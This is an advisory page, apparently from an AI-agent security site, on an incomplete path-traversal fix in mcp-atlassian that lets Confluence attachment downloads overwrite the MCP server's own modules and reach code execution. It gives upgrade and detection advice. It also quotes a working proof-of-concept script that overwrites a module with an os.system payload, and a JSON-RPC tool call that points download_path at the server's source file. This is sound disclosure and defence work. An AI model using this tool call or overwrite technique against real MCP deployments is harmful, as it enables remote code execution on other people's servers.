NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · Other MCP servers and tools

CVE-2026-77271: MCP Atlassian: Incomplete path traversal fix allows intra-CWD module overwrite and RCE (bypass of GHSA-xjgw-4wvw-rgm4)

highCVSS 4.0 8.3GHSA-6vmq-24h2-pj7j

The v0.17.0 path traversal fix in mcp-atlassian only confines Confluence downloads to the process working directory. In a container where that is the app directory, `confluence_download_attachment` can overwrite the server's own Python modules and give code execution at the next restart. Fixed in 0.22.0.

Published Sep 22, 2026 · Analysis Oct 22, 2026

What an attacker can do

validate_safe_path() in utils/io.py uses os.getcwd() as the base when no base_dir is passed. Both call sites in confluence/attachments.py omit it: download_attachment() and download_content_attachments(). In a typical container the working directory is /app, so any path under it passes, including /app/src/mcp_atlassian/confluence/attachments.py, servers/main.py and /app/.env. Classic traversal like /etc/passwd is still blocked, which hid the gap.

The attack chain from the report: upload a malicious .py file as a Confluence attachment, then call confluence_download_attachment with download_path set to one of the server's own modules. The file is overwritten and the payload runs on the next process restart or module reload. The proof of concept ran id after reloading the replaced module on 0.21.0.

The attacker needs Confluence credentials with write access to one page and network access to the MCP HTTP port. The reporter says the HTTP server binds to 0.0.0.0 with no authentication by default. Operators who upgraded to 0.17.0 because of the original advisory remain exposed.

Who is affected

The reporter lists 0.17.0 through 0.21.0, confirmed on 0.21.0. The package data marks everything below 0.22.0 as vulnerable. Containers whose working directory contains the application source are the classic case.

pip show mcp-atlassian

Also check the working directory your service starts in, since that defines the writable zone.

mcp-atlassian

Ecosystem
PyPI
Affected
< 0.22.0
Fixed in
0.22.0
Check
pip show mcp-atlassian

How to fix it

Upgrade to 0.22.0:

pip install --upgrade mcp-atlassian==0.22.0

The reporter proposed passing a dedicated download directory as base_dir, for example a MCP_DOWNLOAD_DIR setting defaulting to /tmp/mcp-downloads. Check the release notes for how 0.22.0 handles it. Run the container with a read-only root filesystem and with the application directory not writable by the service user to limit the damage of any overwrite.

How to tell if you were hit

Compare the checksums of installed mcp_atlassian files against a clean install of the same version, and check modification times on .py files and .env under the app directory. Search MCP logs for confluence_download_attachment calls whose download_path points inside the application directory. Review Confluence for .py attachments you did not add. Unexpected child processes from the service after a restart are a warning sign. Beam records agent MCP tool calls if an agent issued the download.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

The path traversal fix introduced in v0.17.0 (GHSA-xjgw-4wvw-rgm4) is incomplete. validate_safe_path() is called without an explicit base_dir, defaulting to os.getcwd(). In standard container deployments the process CWD is the application directory (e.g. /app), so paths within that directory, including the application's own Python source modules, pass validation without raising an exception. An attacker can overwrite a module file and achieve remote code execution on the next process restart. Versions >= 0.17.0 are not fully patched as stated in the original advisory. Confirmed on v0.21.0 (latest).

Details

src/mcp_atlassian/utils/io.py — validate_safe_path() defaults to CWD when no base_dir is supplied:

def validate_safe_path(path, base_dir=None) -> Path:
    if base_dir is None:
        base_dir = os.getcwd()       # root of the issue
    resolved_base = Path(base_dir).resolve(strict=False)
    ...
    if not resolved_path.is_relative_to(resolved_base):
        raise ValueError("Path traversal detected")

Both call sites in src/mcp_atlassian/confluence/attachments.py omit base_dir:

validate_safe_path(target_path)   # line ~227, download_attachment()
validate_safe_path(target_dir)    # line ~270, download_content_attachments()

When the process CWD is /app, any path under /app satisfies is_relative_to(CWD) and passes the guard, including all Python source modules:

/app/src/mcp_atlassian/confluence/attachments.py  -> passes, no exception
/app/src/mcp_atlassian/servers/main.py            -> passes, no exception
/app/.env                                          -> passes, no exception

PoC

Prerequisites: same as GHSA-xjgw-4wvw-rgm4 — Confluence credentials with write access to at least one page, and network access to the MCP HTTP port. Additionally requires Python 3.10+ and uvx to run the proof below.

The script imports validate_safe_path directly from the installed package, not a simulation of the function.

# poc_bypass.py
import os, tempfile, shutil, importlib.util
from pathlib import Path
from mcp_atlassian.utils.io import validate_safe_path  # real package

print(f"Module: {validate_safe_path.__module__}")

# Simulate /app (standard container CWD)
app_dir = tempfile.mkdtemp(prefix="mcp_atlassian_app_")
module_dir = os.path.join(app_dir, "src", "mcp_atlassian")
os.makedirs(module_dir)
module_path = os.path.join(module_dir, "attachments.py")
Path(module_path).write_text('def get_secret(): return "LEGITIMATE"\n')
os.chdir(app_dir)

# Control: classic traversal is blocked
try:
    validate_safe_path("/etc/passwd")
except ValueError:
    print("[OK]     /etc/passwd blocked")

# Bypass: intra-CWD path passes without exception
result = validate_safe_path(module_path)
print(f"[BYPASS] {result} - no exception raised")

# Overwrite module with attacker payload
# (content sourced from a Confluence attachment uploaded by the attacker)
Path(module_path).write_bytes(
    b"import os\n_PWNED=True\n"
    b"def get_secret():\n"
    b"    os.system('id')\n"
    b"    return 'PWNED'\n"
)
print("[WRITE]  Module overwritten with malicious payload")

# Simulate process restart / module reload
spec = importlib.util.spec_from_file_location("m", module_path)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)   # os.system('id') executes here

print(f"[RCE]    get_secret() = {repr(mod.get_secret())}")
print(f"[RCE]    _PWNED = {mod._PWNED}")

shutil.rmtree(app_dir)
uvx --from mcp-atlassian python poc_bypass.py

Verified output (mcp-atlassian 0.21.0):

Module: mcp_atlassian.utils.io

[OK]     /etc/passwd blocked
[BYPASS] /tmp/mcp_atlassian_app_.../src/mcp_atlassian/attachments.py - no exception raised
[WRITE]  Module overwritten with malicious payload
uid=1000(appuser) gid=1000(appuser) groups=1000(appuser)
[RCE]    get_secret() = 'PWNED'
[RCE]    _PWNED = True

Triggering via MCP tool: upload a malicious .py file as a Confluence attachment, then call:

{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "tools/call",
  "params": {
    "name": "confluence_download_attachment",
    "arguments": {
      "page_id":       "<page_id>",
      "attachment_id": "<malicious_attachment_id>",
      "download_path": "/app/src/mcp_atlassian/confluence/attachments.py"
    }
  }
}

validate_safe_path does not raise. The module is overwritten and the payload executes on the next process restart.

Impact

Affected versions: 0.17.0 through 0.21.0 (latest).

Attack prerequisites are identical to those documented in GHSA-xjgw-4wvw-rgm4, which was rated CVSS 9.1 Critical. Operators who upgraded to >= 0.17.0 based on that advisory remain exposed. The MCP HTTP server binds to 0.0.0.0 with no authentication by default.

Suggested fix: pass a dedicated, explicitly configured directory as base_dir instead of relying on CWD:

_DOWNLOAD_BASE = Path(
    os.environ.get("MCP_DOWNLOAD_DIR", "/tmp/mcp-downloads")
).resolve()

validate_safe_path(target_path, base_dir=_DOWNLOAD_BASE)

Credited to b-hermes.

Questions

I upgraded to 0.17.0 after GHSA-xjgw-4wvw-rgm4. Am I safe?

No. The reporter confirmed the bypass on 0.21.0. The guard blocks paths outside the working directory but permits paths inside it, including the app's source files.

Does the code run immediately?

No. The payload executes when the overwritten module is next loaded, such as on a process restart.

What does the attacker need?

Confluence credentials with write access to a page, to host the malicious attachment, plus network access to the MCP HTTP port.

Is it exploited in the wild?

No source reports that. It is not in CISA's KEV catalog, and the advisory only shows a proof of concept that reloads a replaced module.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Other MCP servers and tools vulnerabilities

All Other MCP servers and tools entries